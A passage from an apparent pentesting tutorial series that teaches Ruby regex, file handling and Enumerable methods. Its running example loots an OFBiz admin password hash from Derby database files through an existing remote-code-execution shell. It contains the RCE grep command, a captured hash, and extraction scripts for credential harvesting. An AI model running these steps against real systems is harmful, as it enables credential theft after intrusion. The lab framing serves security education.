// Ruby for Pentesters · Part 5
Looting the database
With a shell as ofbiz, we go after the admin password hash. OFBiz's embedded Derby database sits in flat files on disk — we grep them, then learn regex and file handling to pull the hash out cleanly.
We have a shell as ofbiz, but that’s a low-privilege service account. To go
further we need credentials, and OFBiz keeps them in its embedded Apache
Derby database. Here’s the useful fact: rather than querying the database
engine, Derby persists every table as flat .dat segment files on disk — and
they’re plain-text searchable. So the admin’s password row is just sitting
there under /opt/ofbiz/runtime/data/derby/ofbiz/seg0/, waiting for a grep.
Grep it through our RCE
We still have run from Part 3. Point it at the segment files:
loot = run("grep -ar 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/")
(That command string is double-quoted only because it contains single
quotes — 'SHA' — not because it interpolates.) Among the output is the
UserLogin row for admin:
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"
We have the hash — now let’s extract it in code instead of by eye.
Regex: pulling structure out of text
A regular expression describes a pattern. In Ruby they live between slashes:
/pattern/. The quickest extraction is String#[] with a regex and a capture
group — the part in parentheses you want back:
hash = loot[/currentPassword="(\$SHA\$[^"]+)"/, 1]
puts hash # => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
Reading the pattern:
currentPassword="— literal text to anchor on.\$SHA\$— a literal$SHA$.$means “end of line” in regex, so we escape it with\$to mean a real dollar sign.[^"]+— a character class: one or more characters that are not a double quote. That’s how you say “grab everything up to the closing quote.”- The
(...)around it is the capture group; the, 1tells[]to return group 1.
Named captures, for more than one field
When you want several pieces, String#match plus named captures
((?<name>...)) reads better than counting group numbers:
m = loot.match(/currentPassword="(?<hash>\$SHA\$[^"]+)".*?userLoginId="(?<user>\w+)"/m)
puts "#{m[:user]} => #{m[:hash]}" # => admin => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
(?<hash>...)and(?<user>...)name the groups;m[:hash]/m[:user]read them off theMatchData.\w+is “one or more word characters” (letters, digits, underscore) — enough for a username.- The trailing
/mlets.match newlines, in case the fields are split across lines.
The same skill on local files
Often you’ve pulled a dump back to your box. Reading and scanning files is the same regex, wrapped in file handling:
Dir.glob('/loot/**/*.dat').each do |path|
File.foreach(path, mode: 'rb') do |line|
puts line[/\$SHA\$[^"]+/] if line.include?('$SHA$')
end
end
Dir.glob('/loot/**/*.dat')finds every.datfile recursively (**).File.foreach(path, mode: 'rb')streams the file one line at a time, in binary mode. Thatmode: 'rb'matters: Derby’s.datfiles are binary, and reading them as text (the default, UTF-8) makesline[/regex/]blow up withinvalid byte sequencethe moment it meets a non-text byte. Binary mode reads raw bytes, and an ASCII regex still matches them fine.- Then the same
line[/regex/]extraction per line.
Blocks, and the Enumerable toolkit
That do |path| ... end you keep handing to each is a block — a chunk of
code you pass to a method for it to call. It’s the most Ruby thing there is:
each runs the block once per element, Thread.new ran one in the background
(Part 4), File.foreach runs one per line. Same idea everywhere.
each only loops. Its cousins on Enumerable transform, and they chain into
a pipeline — exactly what turns a pile of lines into clean loot:
hashes = File.readlines('/loot/UserLogin.dat', mode: 'rb')
.select { |line| line.include?('$SHA$') }
.map { |line| line[/\$SHA\$[^"]+/] }
.uniq
puts hashes
readlinesreads the whole file into an array of lines.select { }keeps only items for which the block is truthy — the lines with a hash in them.map { }transforms each surviving line into just its hash.uniqdrops duplicates, leaving an array of unique hashes.{ |line| ... }is a block too — braces for one-liners,do ... endfor multi-line, purely by convention.
select, map, and uniq (with friends like reject, count, and sort) are
the everyday tools you reach for on any collection in Ruby, not just loot.
Takeaways
- Embedded databases (Derby here) often persist tables as plain-text-searchable
files —
grep/stringsbeats spinning up the DB engine. - A regex (
/.../) with a capture group ((...)) plusString#[]extracts a substring; escape regex metacharacters like$as\$. - Named captures (
(?<name>...)) +String#matchread cleanly when you want multiple fields off one match. Dir.glob(with**) finds files;File.foreachstreams them line by line — read binary loot in binary mode (mode: 'rb') so a stray byte doesn’t crash your regex.- A block (
do |x| ... endor{ |x| ... }) is code you hand to a method;each/select/map/uniqon Enumerable chain into data pipelines — core Ruby you’ll use everywhere.
Exercises
- With
selectandmap, pull everyuserLoginIdvalue from the dump into an array of usernames. - Collapse that
select { }.map { }into a singlegrepwith a block:grep(/\$SHA\$/) { |l| l[/\$SHA\$[^"]+/] }filters and extracts in one pass. - Build a hash of
{ username => hash }from the dump, using a named-capture regex andeach_with_object({}).
Next — Part 6: that $SHA$d$ hash isn’t a standard format. We reimplement
OFBiz’s exact hashing in Ruby to crack it — then parallelize it with a thread
pool and meet the GVL.